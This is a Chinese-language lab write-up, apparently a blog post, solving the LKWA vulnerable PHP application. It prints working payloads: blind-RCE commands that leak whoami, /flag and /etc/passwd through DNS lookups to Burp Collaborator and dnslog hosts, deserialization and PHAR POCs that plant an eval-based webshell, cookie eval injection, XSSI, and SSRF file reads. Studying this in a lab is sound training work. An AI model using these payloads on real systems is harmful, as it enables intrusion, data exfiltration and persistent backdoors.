LKWA靶机学习

LKWA靶机学习

1 下载地址

# 下载LKWA直接放在你的web服务器目录下即可运行
git clone https://github.com/weev3/LKWA

# docker安装
docker pull kminthein/lkwa:latest
docker run -ti -p 3000:80 kminthein/lkwa:latest

# 进入docker中安装ping工具
apt install iputils-ping

# 修改文件所属
chown -R www-data:www-data /var/www/html
  • 注意:

    • 对于XSSI实验,需要把apache2.conf中的Allow Override None改成Allow Override ALL。还可以将apache2.conf移动到/etc/apache2/

    • 对于PHAR Deserialization实验,需要把php.ini配置文件中的phar.readonly = On改成phar.readonly = Off

2 Blind RCE

由于盲打RCE不能回显数据,因此采用dns查询的方式把数据带出到dns服务器上。

2.1 利用Burpsuite Collaborato模块来查看输出。

  • 选择BP文件左上角Burp-->Burp Collaborator Client
  • 点击copy to clipboard复制payload,不要关闭当前窗口
  1. 在盲打RCE界面输入以下命令:

    ping `whoami`.r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net
    
    • 其中:r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net为复制的payload内容
    • 在Burp Collaborator Client界面查看回显的内容:www-data.r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net.
  2. 查看靶机系统根目录文件数量

    ls / | awk -F ' ' '{system("ping -c 2 "NR".r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net")}'
    
    • ping -c 2:是防止由于网络延时导致第一个ping包不可达,导致显示结果不正确
    • NR:已经读出的记录数,就是行号,从1开始
    • awk -F ' ' '{system("cmd")}':执行系统命令,以空格分隔
    • 在Burp Collaborator Client界面查看回显的内容:19.r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net. 说明当前根目录共有19个文件
  3. 查看靶机系统根目录文件名称

    ls / | awk -F' ' 'NR==1{system("ping -c 1 "$0".r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net")}'
    
    • 使用Burp遍历NR==$1$
    • 在Burp Collaborator Client界面查看回显的内容:bin.r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net.
  4. 查看flag文件内容:

    ping -c 1 `cat /flag`.r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net
    ping -c 1 `head -1 /etc/passwd`.r4wjuu973k97ckrpp9i7tlge056wul.burpcollaborator.net
    

2.2 尝试利用dnslog进行回显

ping `whoami`.0bc423af.dns.1433.eu.org
  • 在DNS log界面查看回显的内容:www-data.0bc423af.dns.1433.eu.org.

3 XSSI

  1. 根据提示登录进去后,查看页面源码,发现存在../api/user

    <script>
         function get(){
         	$.ajax(
         	{
         	 url:"../api/user",
         	 type:"GET",
         	 async:true,
         	 success:function(parse){
         	  for (var i in parse){
    
         	      $("#" + i).text(parse[i]);
    
         	  }
         	 }
         	}
         	);
         }
         get();
    </script>
    
  2. 补齐url,在当前登录的浏览器中访问http://192.168.50.4:3000/api/user

    image-20220724133029179

  3. 通过将构造好的1.php脚本放置在本地服务器目录下,以便随时拿数据

    <html>
      <head>
        <title>XSSI</title>    
      </head>
    <body>
        <script>
            function a(s)
            {
            alert(JSON.stringify(s));
            }
        </script>
        <script src="http://192.168.50.4:3000/api/user?callback=a"></script>
    </body>
    </html>
    
  4. 浏览器访问1.php脚本可拿到数据

4 Object Injection

单击提交按钮后,一些序列化数据将会添加到url中,根据该信息构造POC:

  1. 反序列化POC

    <?php
    class Foo{
        function __construct($filename, $data) {
            $this->filename = $filename;
            $this->data = $data;
        }
        function __destruct(){
            file_put_contents($this->filename, $this->data);
        }
    }
     
    $a = new Foo("/var/www/html/test.php","<?php \${\${eval(\$_POST[acmd])}};phpinfo(); ?>");
    echo serialize($a);
    echo "\n";
    echo urlencode(serialize($a));
    echo "\n";
    ?>
    
  2. 生成如下内容:

    # php 1.php
    O:3:"Foo":2:{s:8:"filename";s:22:"/var/www/html/test.php";s:4:"data";s:44:"<?php ${${eval($_POST[acmd])}};phpinfo(); ?>";}
    O%3A3%3A%22Foo%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Ftest.php%22%3Bs%3A4%3A%22data%22%3Bs%3A44%3A%22%3C%3Fphp+%24%7B%24%7Beval%28%24_POST%5Bacmd%5D%29%7D%7D%3Bphpinfo%28%29%3B+%3F%3E%22%3B%7D
    
  3. 生成shell文件:

    http://192.168.50.4:3000/objectInjection/content.php?object=O%3A3%3A%22Foo%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Ftest.php%22%3Bs%3A4%3A%22data%22%3Bs%3A44%3A%22%3C%3Fphp+%24%7B%24%7Beval%28%24_POST%5Bacmd%5D%29%7D%7D%3Bphpinfo%28%29%3B+%3F%3E%22%3B%7D
    
  4. 查看上传的webshell文件

    # cat test.php 
    <?php ${${eval($_POST[acmd])}};phpinfo(); ?>
    
  5. 成功getshell:

    image-20220724175949181

5 Object Injection via cookies

与上一个实验原理一样,只是对象注入发生在cookie中。

  1. 反序列化POC

    <?php
     
    /**
     * Object Injection via Cookie
     */
    class Foo{
        public $cmd;
        function __construct() {
        }
        function __destruct(){
            eval($this->cmd);
        }
    }
     
    $a = new Foo();
    $a->cmd = "phpinfo();";
    echo serialize($a);
    echo "\n";
    echo urlencode(serialize($a));
    echo "\n";
    ?>
    
  2. 生成如下POC:

    # php.exe 1.php | more
    O:3:"Foo":1:{s:3:"cmd";s:10:"phpinfo();";}
    O%3A3%3A%22Foo%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
    
  3. 利用POC执行命令:

    POST /objectInjection_cookie/content.php HTTP/1.1
    Host: 192.168.50.4:3000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 19
    Origin: http://192.168.50.4:3000
    Connection: close
    Referer: http://192.168.50.4:3000/objectInjection_cookie/content.php
    Cookie: PHPSESSID=scjeodjvci398so1j4j55htkp5; username=O%3A3%3A%22Foo%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    username=&password=
    
  4. 成功执行phpinfo()命令

    image-20220724183543034

6 Object Injection (Object Reference)

让猜数据,但是不可能猜出来的。

原代码:

<?php
// vuln code
if (isset($_POST['guess'])) {
  // code...
  $obj = unserialize($_POST['input']);
  if($obj) {
      $obj->guess = $_POST['guess'];
      $obj->secretCode = rand(500000,999999);
      if($obj->guess === $obj->secretCode) {
          echo "<p class='text-success'>You Win !!!!!</p>";
      }
      else{
      	echo "<p class='text-danger'>Loser!!!!</p>";
      }
  }
}
?>
  • 将输入的数字与随机生成的密码进行比较。若输入的数字与该密码匹配,则表明通过,否则失败。
  • 猜是不可能猜的,只能绕过
  1. 反序列化POC

    <?php
    class Object1
    {
      var $guess;
      var $secretCode;
    }
     
    $a = new Object1();
    $a->guess =  &$a->secretCode;
     
    echo serialize($a);
    echo "\n";
    echo urlencode(serialize($a));
    echo "\n";
    ?>
    
  2. 生成如下POC:

    # php 1.php
    O:7:"Object1":2:{s:5:"guess";N;s:10:"secretCode";R:2;}
    O%3A7%3A%22Object1%22%3A2%3A%7Bs%3A5%3A%22guess%22%3BN%3Bs%3A10%3A%22secretCode%22%3BR%3A2%3B%7D
    
  3. 利用POC绕过比较:

    POST /objectref/objectref.php HTTP/1.1
    Host: 192.168.50.4:3000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 110
    Origin: http://192.168.50.4:3000
    Connection: close
    Referer: http://192.168.50.4:3000/objectref/objectref.php
    Cookie: PHPSESSID=scjeodjvci398so1j4j55htkp5; username=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3B%7D
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    guess=1&input=O%3A7%3A%22Object1%22%3A2%3A%7Bs%3A5%3A%22guess%22%3BN%3Bs%3A10%3A%22secretCode%22%3BR%3A2%3B%7D
    
  4. 成功绕过:

    image-20220724184346049

7 PHAR Deserialization

PHP phar:协议对象注入技术介绍 - FreeBuf网络安全行业门户

  1. PHAR POC:

    <?php
    // create new Phar
    @unlink("pharfile.phar");
    $phar = new Phar('pharfile.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'data');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
     
    // add object of any class as meta data
    class log
    {
        function __wakeup(){
        }
    }
    $object = new log;
    $object->filename = 'test.php';
    $object->data = '<?php ${${eval($_POST[acmd])}};phpinfo(); ?>';
    $phar->setMetadata($object);
    $phar->stopBuffering();
    ?>
    
  2. 生成如下POC:

    # php 1.php
    会在当前目录下生成一个pharfile.phar文件
    
  3. 上传pharfile.phar,并执行以下Payload触发pharfile.phar文件执行

    http://192.168.50.4:3000/phar_deserial/phar_deserial.php?file=phar://uploads/pharfile.phar
    
  4. 靶机上查看上传的Payload与生成的webshell文件

    # ls -la /var/www/html/phar_deserial/uploads/pharfile.phar
    -rw-r--r--. 1 www-data www-data 226 Jul 24 13:08 /var/www/html/phar_deserial/uploads/pharfile.phar
    
    # cat /var/www/html/phar_deserial/test.php 
    <?php ${${eval($_POST[acmd])}};phpinfo(); ?>r
    
  5. 使用webshell客户端远程连接上传的webshell

image-20220724175949181

8 SSRF

在输入框中输入一个图片的URL,将会在页面中显示出来:

image-20220724194157345

代码部分:

<?php
include("sidebar.php");
if (isset($_GET['image'])) {
	# code...
	echo file_get_contents($_GET['image'], true);
}
?>

由代码可知,还可以包含本地文件:

image-20220724194435245

9 Variables variable

在输入框中输入一些值,然后就会var_dump输出你输入的值。

  1. 代码部分:

    <?php
    if (isset($_GET['func']) && isset($_GET['input'])) {
    	$var = $_GET['func'];
    	${"var"}($_GET['input']);
    }
    ?>
    
    • 如果以GET方式传入funcinput的值,则将func的值添加到$var变量中,然后会将$var变量添加到动态变量中。在该动态变量可控时,可以把var_dump换成passthru
  2. 成功执行命令:

    image-20220724195710073

posted @ 2022-07-24 21:59  f_carey  阅读(186)  评论(0编辑  收藏  举报